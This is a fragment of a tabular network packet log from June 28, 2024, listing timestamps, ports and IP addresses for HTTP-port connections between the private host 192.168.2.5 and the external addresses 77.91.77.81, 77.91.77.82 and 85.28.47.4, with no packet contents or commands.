Jun 28, 2024 13:36:13.660089016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660099030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660137892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660137892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660160065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660218000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660228968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660238028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660248995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660259008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660259008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660279989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660281897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660299063 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660336971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660371065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660382986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660393000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660402060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660404921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660412073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660422087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.660422087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660448074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.660470009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661406994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661436081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661443949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661453009 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661485910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661487103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661485910 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661497116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661506891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661521912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661533117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661540985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661544085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661560059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661582947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661582947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661643982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661653042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661662102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661676884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661681890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661686897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661700010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661727905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661782980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661792994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661802053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661813021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661819935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661854029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661883116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661890984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661900997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661911011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661921024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.661926985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661942959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.661968946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662026882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662036896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662046909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662061930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662064075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662074089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662081003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662110090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662122011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662132978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662154913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662169933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662179947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662180901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662200928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662228107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662276983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662286997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662297964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662307978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662317991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662321091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662357092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662357092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662408113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662417889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662427902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662446022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662484884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662518978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662528992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662538052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662549019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662554979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662580013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662646055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662703037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662734985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662744999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662759066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662769079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662774086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662780046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662791967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662795067 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662836075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662836075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662849903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662892103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662893057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662903070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.662933111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.662964106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.691970110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692033052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.692279100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692290068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692301035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692311049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692322016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692331076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.692339897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.692365885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.692389011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710464954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710490942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710501909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710560083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710566044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710571051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710566044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710582018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710592985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710604906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710675001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710675001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710675001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710699081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710737944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710860014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710870981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710881948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710891962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710903883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710907936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710915089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710927963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710932970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710946083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710952044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710957050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710967064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710968971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.710978031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.710988998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.711003065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.711028099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.743840933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743853092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743863106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743877888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743889093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743897915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743906975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.743913889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743923903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743933916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743944883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.743961096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.743961096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.743999958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744190931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744199991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744220972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744230986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744231939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744240046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744250059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744259119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744261980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744271994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744281054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744298935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744347095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744400024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744407892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744419098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744429111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744462013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744514942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744525909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744534969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744544983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744565010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744575977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744606018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744627953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744631052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744641066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744653940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744663954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744674921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744709969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744710922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744786978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744801044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744811058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744822979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.744842052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.744872093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746196985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746236086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746244907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746251106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746285915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746285915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746321917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746331930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746340990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746351004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746364117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746393919 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746419907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746424913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746434927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746444941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746454954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746464014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746469975 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746474028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746484995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746511936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746511936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746542931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746548891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746560097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746570110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746586084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746613979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746706963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746718884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746727943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746756077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746784925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746798038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746808052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746818066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746829033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746839046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746848106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746849060 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746860027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746867895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746885061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746928930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.746937037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746953011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.746978045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.747008085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.747029066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747039080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747047901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747057915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747066975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747076035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747076988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.747116089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.747117043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.747191906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747201920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747210979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747222900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:13.747241020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:13.747268915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:16.586074114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:16.586169958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:18.559143066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:18.564325094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:21.667927980 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:22.192671061 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:22.192749023 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:22.192962885 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:22.197722912 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:22.863333941 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:22.863544941 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:22.864502907 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:22.869313955 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:23.078425884 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:23.078566074 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:23.081602097 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.090703011 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.090846062 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.090915918 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.095788002 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769556999 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769578934 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769602060 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769615889 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769630909 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769646883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769664049 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769678116 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769692898 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769711018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.769773960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.769774914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.769774914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.769774914 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.770258904 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.774930000 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.774960041 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.774975061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.775022030 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.775048018 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.888087034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.888108969 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.888127089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.888143063 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.888183117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.888267994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.893381119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.893404961 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.893426895 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.893441916 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.893457890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.893481970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.893516064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.893516064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:23.898164988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:23.898180962 CEST	80	49721	77.91.77.81	192.168.2.5
